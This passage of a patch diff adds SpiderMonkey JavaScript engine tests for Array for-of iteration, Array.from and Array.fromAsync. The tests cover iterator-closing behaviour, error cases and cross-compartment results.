+ TRUE_SUM += j;
+ }
+ sum += doIter(fun, arr);
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestManySmallArrays();
+
+// Test the properties and prototype of a generator object.
+function TestSingleSmallArray() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var M = 3;
+ var arr = new Array(M);
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ TRUE_SUM += j;
+ }
+ TRUE_SUM *= N;
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestSingleSmallArray();
+
+
+function TestChangeArrayPrototype() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var Proto1 = Object.create(Array.prototype);
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ if (i == MID)
+ arr.__proto__ = Proto1;
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestChangeArrayPrototype();
+
+
+function TestChangeManyArrayShape() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ arr['v_' + i] = i;
+ sum += doIter(fun, arr);
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestChangeManyArrayShape();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/for_of_2.js b/js/src/tests/non262/Array/for_of_2.js
new file mode 100644
index 0000000000..1d5dd81fc6
--- /dev/null
+++ b/js/src/tests/non262/Array/for_of_2.js
@@ -0,0 +1,58 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+//
+// Check case where ArrayIterator.prototype.next changes in the middle of iteration.
+//
+function TestChangeArrayIteratorNext() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var GET_COUNT = 0;
+ function getter() {
+ GET_COUNT++;
+ if (GET_COUNT == MID)
+ iterProto.next = NewNext;
+ return M2;
+ }
+
+ var iter = ([])[Symbol.iterator]();
+ var iterProto = Object.getPrototypeOf(iter);
+ var OldNext = iterProto.next;
+ var NewNext = function () {
+ return OldNext.apply(this, arguments);
+ };
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ var M2 = (M/2)|0;
+ Object.defineProperty(arr, M2, {'get':getter});
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestChangeArrayIteratorNext();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/for_of_3.js b/js/src/tests/non262/Array/for_of_3.js
new file mode 100644
index 0000000000..c90eb1f000
--- /dev/null
+++ b/js/src/tests/non262/Array/for_of_3.js
@@ -0,0 +1,60 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+//
+// Check array length increases changes during iteration.
+//
+function TestIncreaseArrayLength() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var GET_COUNT = 0;
+ function getter() {
+ GET_COUNT++;
+ if (GET_COUNT == MID) {
+ ARR_SUM += arr.length;
+ arr.push(arr.length);
+ }
+ return M2;
+ }
+
+ var iter = ([])[Symbol.iterator]();
+ var iterProto = Object.getPrototypeOf(iter);
+ var OldNext = iterProto.next;
+ var NewNext = function () {
+ return OldNext.apply(this, arguments);
+ };
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ var M2 = (M/2)|0;
+ Object.defineProperty(arr, M2, {'get':getter});
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestIncreaseArrayLength();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/for_of_4.js b/js/src/tests/non262/Array/for_of_4.js
new file mode 100644
index 0000000000..4572727a1f
--- /dev/null
+++ b/js/src/tests/non262/Array/for_of_4.js
@@ -0,0 +1,64 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+//
+// Check array length decreases changes during iteration.
+//
+function TestDecreaseArrayLength() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var GET_COUNT = 0;
+ function getter() {
+ GET_COUNT++;
+ if (GET_COUNT == MID) {
+ arr.length = 0;
+ }
+ return M2;
+ }
+
+ var iter = ([])[Symbol.iterator]();
+ var iterProto = Object.getPrototypeOf(iter);
+ var OldNext = iterProto.next;
+ var NewNext = function () {
+ return OldNext.apply(this, arguments);
+ };
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ var M2 = (M/2)|0;
+ Object.defineProperty(arr, M2, {'get':getter});
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ var oldLen = arr.length;
+ sum += doIter(fun, arr);
+ var newLen = arr.length;
+ if (oldLen == newLen)
+ TRUE_SUM += arr.length > 0 ? ARR_SUM : 0;
+ else
+ TRUE_SUM += 1
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestDecreaseArrayLength();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/from-iterator-close.js b/js/src/tests/non262/Array/from-iterator-close.js
new file mode 100644
index 0000000000..553c44e467
--- /dev/null
+++ b/js/src/tests/non262/Array/from-iterator-close.js
@@ -0,0 +1,183 @@
+var BUGNUMBER = 1180306;
+var summary = 'Array.from should close iterator on error';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(ctor, { mapVal=undefined,
+ nextVal=undefined,
+ nextThrowVal=undefined,
+ modifier=undefined,
+ exceptionVal=undefined,
+ exceptionType=undefined,
+ closed=true }) {
+ let iterable = {
+ closed: false,
+ [Symbol.iterator]() {
+ let iterator = {
+ first: true,
+ next() {
+ if (this.first) {
+ this.first = false;
+ if (nextThrowVal)
+ throw nextThrowVal;
+ return nextVal;
+ }
+ return { value: undefined, done: true };
+ },
+ return() {
+ iterable.closed = true;
+ return {};
+ }
+ };
+ if (modifier)
+ modifier(iterator, iterable);
+
+ return iterator;
+ }
+ };
+ if (exceptionVal) {
+ let caught = false;
+ try {
+ ctor.from(iterable, mapVal);
+ } catch (e) {
+ assertEq(e, exceptionVal);
+ caught = true;
+ }
+ assertEq(caught, true);
+ } else if (exceptionType) {
+ assertThrowsInstanceOf(() => ctor.from(iterable, mapVal), exceptionType);
+ } else {
+ ctor.from(iterable, mapVal);
+ }
+ assertEq(iterable.closed, closed);
+}
+
+// == Error cases with close ==
+
+// ES 2017 draft 22.1.2.1 step 5.e.i.1.
+// Cannot test.
+
+// ES 2017 draft 22.1.2.1 step 5.e.vi.2.
+test(Array, {
+ mapVal: () => { throw "map throws"; },
+ nextVal: { value: 1, done: false },
+ exceptionVal: "map throws",
+ closed: true,
+});
+
+// ES 2017 draft 22.1.2.1 step 5.e.ix.
+class MyArray extends Array {
+ constructor() {
+ return new Proxy({}, {
+ defineProperty() {
+ throw "defineProperty throws";
+ }
+ });
+ }
+}
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+
+// ES 2021 draft 7.4.6 step 5.
+// if GetMethod fails, the thrown value should be ignored.
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ throw "return getter throws";
+ }
+ });
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ return "non object";
+ }
+ });
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ // Non callable.
+ return {};
+ }
+ });
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+
+// ES 2017 draft 7.4.6 steps 6.
+// if return method throws, the thrown value should be ignored.
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ throw "return throws";
+ };
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ return "non object";
+ };
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+
+// == Error cases without close ==
+
+// ES 2017 draft 22.1.2.1 step 5.e.iii.
+test(Array, {
+ nextThrowVal: "next throws",
+ exceptionVal: "next throws",
+ closed: false,
+});
+
+test(Array, {
+ nextVal: { value: {}, get done() { throw "done getter throws"; } },
+ exceptionVal: "done getter throws",
+ closed: false,
+});
+
+// ES 2017 draft 22.1.2.1 step 5.e.v.
+test(Array, {
+ nextVal: { get value() { throw "value getter throws"; }, done: false },
+ exceptionVal: "value getter throws",
+ closed: false,
+});
+
+// == Successful cases ==
+
+test(Array, {
+ nextVal: { value: 1, done: false },
+ closed: false,
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/from_async.js b/js/src/tests/non262/Array/from_async.js
new file mode 100644
index 0000000000..c104c26f7d
--- /dev/null
+++ b/js/src/tests/non262/Array/from_async.js
@@ -0,0 +1,302 @@
+// |reftest| shell-option(--enable-array-from-async) skip-if(!xulRuntime.shell||!Array.fromAsync) -- needs drainJobQueue
+
+// Basic Smoke Test
+async function* asyncGen(n) {
+ for (let i = 0; i < n; i++) {
+ yield i * 2;
+ }
+}
+
+let done = false;
+Array.fromAsync(asyncGen(4)).then((x) => {
+ assertEq(Array.isArray(x), true);
+ assertEq(x.length, 4);
+ assertEq(x[0], 0);
+ assertEq(x[1], 2);
+ assertEq(x[2], 4);
+ assertEq(x[3], 6);
+ done = true;
+}
+);
+
+drainJobQueue();
+assertEq(done, true);
+
+(async function () {
+ class InterruptableAsyncIterator {
+ count = 0
+ closed = false
+ throwAfter = NaN
+ constructor(n, throwAfter = NaN) {
+ this.count = n;
+ this.throwAfter = throwAfter;
+ }
+ [Symbol.asyncIterator] = function () {
+ return {
+ iter: this,
+ i: 0,
+ async next() {
+ if (this.i > this.iter.throwAfter) {
+ throw "Exception"
+ }
+ if (this.i++ < this.iter.count) {
+ return Promise.resolve({ done: false, value: this.i - 1 });
+ }
+ return Promise.resolve({ done: true, value: undefined });
+ },
+ async return(x) {
+ this.iter.closed = true;
+ return { value: x, done: true };
+ }
+ }
+ }
+ }
+
+ var one = await Array.fromAsync(new InterruptableAsyncIterator(2));
+ assertEq(one.length, 2)
+ assertEq(one[0], 0);
+ assertEq(one[1], 1);
+
+ var two = new InterruptableAsyncIterator(10, 2);
+ var threw = false;
+ try {
+ var res = await Array.fromAsync(two);
+ } catch (e) {
+ threw = true;
+ assertEq(e, "Exception");
+ }
+ assertEq(threw, true);
+ // The iterator is not closed unless we have an abrupt completion while mapping.
+ assertEq(two.closed, false);
+
+ // Test throwing while mapping: Iterator should be closed.
+ var three = new InterruptableAsyncIterator(10, 9);
+ threw = false;
+ try {
+ var res = await Array.fromAsync(three, (x) => {
+ if (x > 3) {
+ throw "Range"
+ }
+ return x;
+ });
+ } catch (e) {
+ assertEq(e, "Range");
+ threw = true;
+ }
+ assertEq(threw, true);
+ assertEq(three.closed, true);
+
+ var sync = await Array.fromAsync([1, 2, 3]);
+ assertEq(sync.length, 3);
+ assertEq(sync[0], 1)
+ assertEq(sync[1], 2)
+ assertEq(sync[2], 3)
+
+ let closed_frozen = false;
+ class Frozen {
+ constructor(x) {
+ this.count = x;
+ Object.freeze(this);
+ }
+ [Symbol.asyncIterator] = function () {
+ return {
+ iter: this,
+ i: 0,
+ async next() {
+ if (this.i++ < this.iter.count) {
+ return Promise.resolve({ done: false, value: this.i - 1 });
+ }
+ return Promise.resolve({ done: true, value: undefined });
+ },
+ async return(x) {
+ // Can't use Frozen instance, becuse frozen is frozen.
+ closed_frozen = true;
+ return { value: x, done: true };
+ }
+ }
+ }
+ }
+
+ // We should close the iterator when define property throws.
+ // Test by defining into a frozen object.
+ var frozen = new Frozen(10);
+ threw = false;
+ try {
+ var result = await Array.fromAsync.call(Frozen, frozen);
+ } catch (e) {
+ threw = true;
+ }
+
+ assertEq(threw, true);
+ assertEq(closed_frozen, true);
+
+})();
+
+drainJobQueue();
+
+(async function () {
+ var badSyncIterator = {
+ [Symbol.iterator]() {
+ return null;
+ }
+ };
+
+ var badAsyncIterator = {
+ [Symbol.asyncIterator]() {
+ return null;
+ }
+ };
+
+ async function errorMessage(fn) {
+ try {
+ await fn();
+ } catch (e) {
+ return e.message;
+ }
+ throw new Error("missing error");
+ }
+
+ // Ensure Array.from and Array.fromAsync use consistent error reporting.
+ var expected = await errorMessage(() => Array.from(badSyncIterator));
+ var actual = await errorMessage(() => Array.fromAsync(badSyncIterator));
+ assertEq(actual, expected);
+
+ // Ensure for-of iteration and Array.fromAsync use consistent error reporting.
+ var expected = await errorMessage(() => { for (var _ of badSyncIterator); });
+ var actual = await errorMessage(() => Array.fromAsync(badSyncIterator));
+ assertEq(actual, expected);
+
+ // Ensure await for-of iteration and Array.fromAsync use consistent error reporting.
+ var expected = await errorMessage(async () => { for await (var _ of badAsyncIterator); });
+ var actual = await errorMessage(() => Array.fromAsync(badAsyncIterator));
+ assertEq(actual, expected);
+})();
+
+drainJobQueue();
+
+(async function () {
+ function* gen() {
+ for (let i = 0; i < 4; ++i) {
+ yield Promise.resolve(i);
+ }
+ };
+
+ var array = await Array.fromAsync(gen());
+
+ // Promise values are unwrapped via AsyncFromSyncIterator.
+ assertEqArray(array, [0, 1, 2, 3]);
+})();
+
+drainJobQueue();
+
+(async function () {
+ var badSyncIterator = {
+ [Symbol.iterator]: 123,
+ };
+
+ var badAsyncIterator = {
+ [Symbol.asyncIterator]: 123,
+ };
+
+ async function errorMessage(fn) {
+ try {
+ await fn();
+ } catch (e) {
+ return e.message;
+ }
+ throw new Error("missing error");
+ }
+
+ // Ensure Array.from and Array.fromAsync use consistent error reporting.
+ var expected = await errorMessage(() => Array.from(badSyncIterator));
+ var actual = await errorMessage(() => Array.fromAsync(badSyncIterator));
+ assertEq(actual.endsWith("is not iterable"), expected.endsWith("is not iterable"));
+
+ // Ensure for-of iteration and Array.fromAsync use consistent error reporting.
+ var expected = await errorMessage(() => { for (var _ of badSyncIterator); });
+ var actual = await errorMessage(() => Array.fromAsync(badSyncIterator));
+ assertEq(actual.endsWith("is not iterable"), expected.endsWith("is not iterable"));
+
+ // Ensure await for-of iteration and Array.fromAsync use consistent error reporting.
+ var expected = await errorMessage(async () => { for await (var _ of badAsyncIterator); });
+ var actual = await errorMessage(() => Array.fromAsync(badAsyncIterator));
+ assertEq(actual.endsWith("is not iterable"), expected.endsWith("is not iterable"));
+})();
+
+drainJobQueue();
+
+
+var g = newGlobal();
+g.asyncGen = asyncGen;
+var p = g.evaluate(`
+Array.fromAsync(asyncGen(4))
+`)
+
+p.then((x) => {
+ assertEq(x instanceof Array, false); // Should use the other global's Array.
+ assertEq(x instanceof g.Array, true);
+})
+
+drainJobQueue();
+
+
+var g2 = newGlobal({ newCompartment: true });
+g2.asyncGen = asyncGen;
+var p = g2.evaluate(`
+Array.fromAsync(asyncGen(4))
+`)
+
+p.then((x) => {
+ assertEq(x instanceof Array, false); // Should use the other global's Array.
+ assertEq(x instanceof g2.Array, true);
+ nukeCCW(x); // this will throw if x happens to not be a CCW (it should be!)
+})
+drainJobQueue();
+
+// Test having a CCW 'this' value.
+g2.obj = {};
+var p2 = g2.evaluate(`
+Array.fromAsync.call(obj, asyncGen(4))
+`)
+
+p2.then((x) => {
+ assertEq(x instanceof Array, false); // Should use the other global's Array.
+ assertEq(x instanceof g2.Array, true);
+ nukeCCW(x);
+})
+
+drainJobQueue();
+
+// Verify user promise resolution behaviour.
+var myThenCalled = false;
+var obj = { then: () => { myThenCalled = true; } }
+function* genO() {
+ yield obj;
+ return;
+}
+
+var res = Array.fromAsync(genO());
+res.then((x) => {
+ assertEq(x[0], obj);
+ assertEq(myThenCalled, true);
+});
+
+drainJobQueue();
+
+function* thrower() {
+ throw new Error();
+}
+
+g2.thrower = thrower;
+var p = g2.evaluate(`Array.fromAsync(thrower())`)
+p.catch((e) => {
+ assertEq(e instanceof Error, true, "Should throw an error from the current global");
+})
+drainJobQueue();
+
+p = g2.evaluate(`Array.fromAsync(thrower, 1)`);
+p.catch((e) => assertEq(e instanceof g2.Error, true, "Should throw error from g2"))
+drainJobQueue();
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/from_basics.js b/js/src/tests/non262/Array/from_basics.js
new file mode 100644
index 0000000000..623207a41a
--- /dev/null
+++ b/js/src/tests/non262/Array/from_basics.js
@@ -0,0 +1,51 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from copies arrays.
+var src = [1, 2, 3], copy = Array.from(src);
+assertEq(copy === src, false);
+assertEq(Array.isArray(copy), true);
+assertDeepEq(copy, src);
+
+// Non-element properties are not copied.
+var a = [0, 1];
+a.name = "lisa";
+assertDeepEq(Array.from(a), [0, 1]);
+
+// It's a shallow copy.
+src = [[0], [1]];
+copy = Array.from(src);
+assertEq(copy[0], src[0]);
+assertEq(copy[1], src[1]);
+
+// Array.from can copy non-iterable objects, if they're array-like.
+src = {0: "zero", 1: "one", length: 2};
+copy = Array.from(src);
+assertEq(Array.isArray(copy), true);
+assertDeepEq(copy, ["zero", "one"]);
+
+// Properties past the .length are not copied.
+src = {0: "zero", 1: "one", 2: "two", 9: "nine", name: "lisa", length: 2};
+assertDeepEq(Array.from(src), ["zero", "one"]);
+
+// If an object has neither an @@iterator method nor .length,
+// then it's treated as zero-length.
+assertDeepEq(Array.from({}), []);
+
+// Source object property order doesn't matter.
+src = {length: 2, 1: "last", 0: "first"};
+assertDeepEq(Array.from(src), ["first", "last"]);
+
+// Array.from does not preserve holes.
+assertDeepEq(Array.from(Array(3)), [undefined, undefined, undefined]);
+assertDeepEq(Array.from([, , 2, 3]), [undefined, undefined, 2, 3]);
+assertDeepEq(Array.from([0, , , ,]), [0, undefined, undefined, undefined]);
+
+// Even on non-iterable objects.
+assertDeepEq(Array.from({length: 4}), [undefined, undefined, undefined, undefined]);
+
+// Array.from should coerce negative lengths to zero.
+assertDeepEq(Array.from({length: -1}), []);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_constructor.js b/js/src/tests/non262/Array/from_constructor.js
new file mode 100644
index 0000000000..6846ef09aa
--- /dev/null
+++ b/js/src/tests/non262/Array/from_constructor.js
@@ -0,0 +1,56 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from can be applied to any constructor.
+// For example, the Date builtin constructor.
+var d = Array.from.call(Date, ["A", "B"]);
+assertEq(Array.isArray(d), false);
+assertEq(Object.prototype.toString.call(d), "[object Date]");
+assertEq(Object.getPrototypeOf(d), Date.prototype);
+assertEq(d.length, 2);
+assertEq(d[0], "A");
+assertEq(d[1], "B");
+
+// Or Object.
+var obj = Array.from.call(Object, []);
+assertEq(Array.isArray(obj), false);
+assertEq(Object.getPrototypeOf(obj), Object.prototype);
+assertEq(Object.getOwnPropertyNames(obj).join(","), "length");
+assertEq(obj.length, 0);
+
+// Or any JS function.
+function C(arg) {
+ this.args = arguments;
+}
+var c = Array.from.call(C, {length: 1, 0: "zero"});
+assertEq(c instanceof C, true);
+assertEq(c.args.length, 1);
+assertEq(c.args[0], 1);
+assertEq(c.length, 1);
+assertEq(c[0], "zero");
+
+// If the 'this' value passed to Array.from is not a constructor,
+// a plain Array is created.
+var arr = [3, 4, 5];
+var nonconstructors = [
+ {}, Math, Object.getPrototypeOf, undefined, 17,
+ () => ({}) // arrow functions are not constructors
+];
+for (var v of nonconstructors) {
+ obj = Array.from.call(v, arr);
+ assertEq(Array.isArray(obj), true);
+ assertDeepEq(obj, arr);
+}
+
+// Array.from does not get confused if global.Array is replaced with another
+// constructor.
+function NotArray() {
+}
+var RealArray = Array;
+NotArray.from = Array.from;
+Array = NotArray;
+assertEq(RealArray.from([1]) instanceof RealArray, true);
+assertEq(NotArray.from([1]) instanceof NotArray, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_errors.js b/js/src/tests/non262/Array/from_errors.js
new file mode 100644
index 0000000000..cbf0eb195a
--- /dev/null
+++ b/js/src/tests/non262/Array/from_errors.js
@@ -0,0 +1,152 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from throws if the argument is undefined or null.
+assertThrowsInstanceOf(() => Array.from(), TypeError);
+assertThrowsInstanceOf(() => Array.from(undefined), TypeError);
+assertThrowsInstanceOf(() => Array.from(null), TypeError);
+
+// Array.from throws if an element can't be defined on the new object.
+function ObjectWithReadOnlyElement() {
+ Object.defineProperty(this, "0", {value: null});
+ this.length = 0;
+}
+ObjectWithReadOnlyElement.from = Array.from;
+assertDeepEq(ObjectWithReadOnlyElement.from([]), new ObjectWithReadOnlyElement);
+assertThrowsInstanceOf(() => ObjectWithReadOnlyElement.from([1]), TypeError);
+
+// The same, but via preventExtensions.
+function InextensibleObject() {
+ Object.preventExtensions(this);
+}
+InextensibleObject.from = Array.from;
+assertThrowsInstanceOf(() => InextensibleObject.from([1]), TypeError);
+
+// We will now test this property, that Array.from throws if the .length can't
+// be assigned, using several different kinds of object.
+var obj;
+function init(self) {
+ obj = self;
+ self[0] = self[1] = self[2] = self[3] = 0;
+}
+
+function testUnsettableLength(C, Exc) {
+ if (Exc === undefined)
+ Exc = TypeError; // the usual expected exception type
+ C.from = Array.from;
+
+ obj = null;
+ assertThrowsInstanceOf(() => C.from([]), Exc);
+ assertEq(obj instanceof C, true);
+ for (var i = 0; i < 4; i++)
+ assertEq(obj[0], 0);
+
+ obj = null;
+ assertThrowsInstanceOf(() => C.from([0, 10, 20, 30]), Exc);
+ assertEq(obj instanceof C, true);
+ for (var i = 0; i < 4; i++)
+ assertEq(obj[i], i * 10);
+}
+
+// Array.from throws if the new object's .length can't be assigned because
+// there is no .length and the object is inextensible.
+function InextensibleObject4() {
+ init(this);
+ Object.preventExtensions(this);
+}
+testUnsettableLength(InextensibleObject4);
+
+// Array.from throws if the new object's .length can't be assigned because it's
+// read-only.
+function ObjectWithReadOnlyLength() {
+ init(this);
+ Object.defineProperty(this, "length", {configurable: true, writable: false, value: 4});
+}
+testUnsettableLength(ObjectWithReadOnlyLength);
+
+// The same, but using a builtin type.
+Uint8Array.from = Array.from;
+assertThrowsInstanceOf(() => Uint8Array.from([]), TypeError);
+
+// Array.from throws if the new object's .length can't be assigned because it
+// inherits a readonly .length along the prototype chain.
+function ObjectWithInheritedReadOnlyLength() {
+ init(this);
+}
+Object.defineProperty(ObjectWithInheritedReadOnlyLength.prototype,
+ "length",
+ {configurable: true, writable: false, value: 4});
+testUnsettableLength(ObjectWithInheritedReadOnlyLength);
+
+// The same, but using an object with a .length getter but no setter.
+function ObjectWithGetterOnlyLength() {
+ init(this);
+ Object.defineProperty(this, "length", {configurable: true, get: () => 4});
+}
+testUnsettableLength(ObjectWithGetterOnlyLength);
+
+// The same, but with a setter that throws.
+function ObjectWithThrowingLengthSetter() {
+ init(this);
+ Object.defineProperty(this, "length", {
+ configurable: true,
+ get: () => 4,
+ set: () => { throw new RangeError("surprise!"); }
+ });
+}
+testUnsettableLength(ObjectWithThrowingLengthSetter, RangeError);
+
+// Array.from throws if mapfn is neither callable nor undefined.
+assertThrowsInstanceOf(() => Array.from([3, 4, 5], {}), TypeError);
+assertThrowsInstanceOf(() => Array.from([3, 4, 5], "also not a function"), TypeError);
+assertThrowsInstanceOf(() => Array.from([3, 4, 5], null), TypeError);
+
+// Even if the function would not have been called.
+assertThrowsInstanceOf(() => Array.from([], JSON), TypeError);
+
+// If mapfn is not undefined and not callable, the error happens before anything else.
+// Before calling the constructor, before touching the arrayLike.
+var log = "";
+function C() {
+ log += "C";
+ obj = this;
+}
+var p = new Proxy({}, {
+ has: function () { log += "1"; },
+ get: function () { log += "2"; },
+ getOwnPropertyDescriptor: function () { log += "3"; }
+});
+assertThrowsInstanceOf(() => Array.from.call(C, p, {}), TypeError);
+assertEq(log, "");
+
+// If mapfn throws, the new object has already been created.
+var arrayish = {
+ get length() { log += "l"; return 1; },
+ get 0() { log += "0"; return "q"; }
+};
+log = "";
+var exc = {surprise: "ponies"};
+assertThrowsValue(() => Array.from.call(C, arrayish, () => { throw exc; }), exc);
+assertEq(log, "lC0");
+assertEq(obj instanceof C, true);
+
+// It's a TypeError if the @@iterator property is a primitive (except null and undefined).
+for (var primitive of ["foo", 17, Symbol(), true]) {
+ assertThrowsInstanceOf(() => Array.from({[Symbol.iterator] : primitive}), TypeError);
+}
+assertDeepEq(Array.from({[Symbol.iterator]: null}), []);
+assertDeepEq(Array.from({[Symbol.iterator]: undefined}), []);
+
+// It's a TypeError if the iterator's .next() method returns a primitive.
+for (var primitive of [undefined, null, 17]) {
+ assertThrowsInstanceOf(
+ () => Array.from({
+ [Symbol.iterator]() {
+ return {next() { return primitive; }};
+ }
+ }),
+ TypeError);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_iterable.js b/js/src/tests/non262/Array/from_iterable.js
new file mode 100644
index 0000000000..5681819612
--- /dev/null
+++ b/js/src/tests/non262/Array/from_iterable.js
@@ -0,0 +1,50 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from works on arguments objects.
+(function () {
+ assertDeepEq(Array.from(arguments), ["arg0", "arg1", undefined]);
+})("arg0", "arg1", undefined);
+
+// If an object has both .length and [@@iterator] properties, [@@iterator] is used.
+var a = ['a', 'e', 'i', 'o', 'u'];
+a[Symbol.iterator] = function* () {
+ for (var i = 5; i--; )
+ yield this[i];
+};
+
+var log = '';
+function f(x) {
+ log += x;
+ return x + x;
+}
+
+var b = Array.from(a, f);
+assertDeepEq(b, ['uu', 'oo', 'ii', 'ee', 'aa']);
+assertEq(log, 'uoiea');
+
+// In fact, if [@@iterator] is present, .length isn't queried at all.
+var pa = new Proxy(a, {
+ has: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (has)");
+ return id in target;
+ },
+ get: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (get)");
+ return target[id];
+ },
+ getOwnPropertyDescriptor: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (getOwnPropertyDescriptor)");
+ return Object.getOwnPropertyDescriptor(target, id)
+ }
+});
+log = "";
+b = Array.from(pa, f);
+assertDeepEq(b, ['uu', 'oo', 'ii', 'ee', 'aa']);
+assertEq(log, 'uoiea');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_length_setter.js b/js/src/tests/non262/Array/from_length_setter.js
new file mode 100644
index 0000000000..43f35f73e0
--- /dev/null
